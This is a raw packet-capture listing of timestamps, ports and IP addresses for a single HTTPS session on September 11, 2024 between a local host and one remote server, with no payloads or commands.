Sep 11, 2024 22:52:15.426199913 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.426275015 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.426281929 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.426322937 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.429177046 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.429192066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.429248095 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.429251909 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.429296017 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.429747105 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.429761887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.429814100 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.429819107 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.429858923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.430315971 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.430330992 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.430387020 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.430392027 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.430428028 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.430725098 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.430740118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.430779934 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.430784941 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.430818081 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.432106972 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.432121992 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.432171106 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.432177067 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.432204962 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.432216883 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.502939939 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.502957106 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.503032923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.503052950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.503106117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.503356934 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.503371000 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.503441095 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.503453016 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.503505945 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.514236927 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.514250994 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.514336109 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.514353991 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.514405966 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.516098976 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.516113043 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.516189098 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.516200066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.516248941 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.516823053 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.516838074 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.516897917 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.516908884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.516962051 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.517293930 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.517333984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.517359972 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.517371893 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.517400026 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.517420053 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.518053055 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.518074036 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.518129110 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.518141031 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.518188953 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.518970966 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.518985987 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.519059896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.519073009 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.519121885 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.590357065 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.590374947 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.590477943 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.590482950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.590523958 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.590817928 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.590831041 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.590878010 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.590882063 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.590922117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.601356983 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.601370096 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.601454020 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.601464987 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.601521015 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.602994919 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.603007078 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.603070974 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.603080988 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.603132010 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.603698969 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.603712082 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.603765011 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.603776932 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.603806019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.603827000 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.604188919 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.604202986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.604262114 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.604274035 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.604320049 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.604717970 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.604729891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.604782104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.604799032 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.604825020 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.604845047 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.606409073 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.606422901 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.606479883 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.606491089 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.606542110 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.677056074 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.677071095 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.677122116 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.677126884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.677166939 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.677647114 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.677661896 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.677705050 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.677711964 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.677742004 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.677843094 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.690320015 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.690335035 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.690386057 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.690393925 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.690419912 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.690447092 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.692222118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.692234993 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.692285061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.692289114 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.692329884 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.693005085 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.693018913 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.693065882 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.693070889 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.693101883 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.693120003 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.693876028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.693893909 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.693964005 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.693969965 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.694013119 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.694823980 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.694838047 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.694900990 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.694914103 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.694941998 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.694961071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.695374012 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.695394039 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.695441961 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.695453882 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.695483923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.695502996 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.766362906 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.766382933 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.766460896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.766525984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.766566992 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.766730070 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.766840935 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.766856909 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.766911983 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:15.766927004 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:15.766977072 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.074345112 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.074362040 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.074435949 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.074472904 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.074517965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.074517965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.074879885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.074894905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.074939966 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.074953079 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.074981928 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075002909 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075421095 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.075433969 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.075479031 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075481892 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.075509071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075527906 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075894117 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.075906992 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.075942039 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075946093 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.075975895 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.075988054 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.076354980 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.076368093 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.076414108 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.076417923 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.076443911 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.076457024 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.076760054 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.076771975 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.076807976 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.076812029 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.076828957 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.076847076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.077421904 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.077435017 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.077474117 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.077476978 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.077501059 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.077512980 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.077881098 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.077893972 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.077934980 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.077938080 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.077963114 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.077975035 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.078367949 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.078382015 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.078417063 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.078450918 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.078454018 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.078490019 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.078864098 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.078876972 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.078915119 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.078919888 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.078942060 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.078962088 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.079309940 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.079324961 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.079360008 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.079364061 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.079401970 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.079410076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.079816103 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.079830885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.079864979 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.079869986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.079890966 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.079898119 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.080279112 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.080293894 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.080318928 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.080353975 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.080358028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.080395937 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.080787897 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.080801964 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.080837011 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.080841064 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.080868959 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.080879927 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.081317902 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.081331968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.081386089 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.081389904 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.081425905 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.081792116 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.081811905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.081846952 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.081851006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.081876993 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.081888914 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.082222939 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.082237005 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.082274914 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.082278967 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.082302094 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.082307100 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.082622051 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.082636118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.082667112 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.082670927 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.082695961 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.082714081 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.083126068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.083138943 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.083198071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.083198071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.083203077 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.083239079 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.083605051 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.083622932 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.083655119 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.083657980 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.083683968 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.083702087 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084053040 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084065914 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084104061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084106922 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084135056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084152937 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084196091 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084209919 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084245920 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084249020 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084274054 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084377050 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084393978 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084408998 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084412098 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084422112 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084449053 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084477901 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084492922 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084541082 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084544897 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084559917 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084582090 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084642887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084656000 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084693909 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.084698915 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.084732056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.085345030 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.085357904 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.085386992 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.085391998 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.085412025 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.085427999 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.085975885 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.085989952 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086026907 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086030960 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086067915 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086095095 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086108923 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086148024 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086152077 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:16.086189032 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:16.086205959 CEST	443	49734	198.54.120.231	192.168.2.4
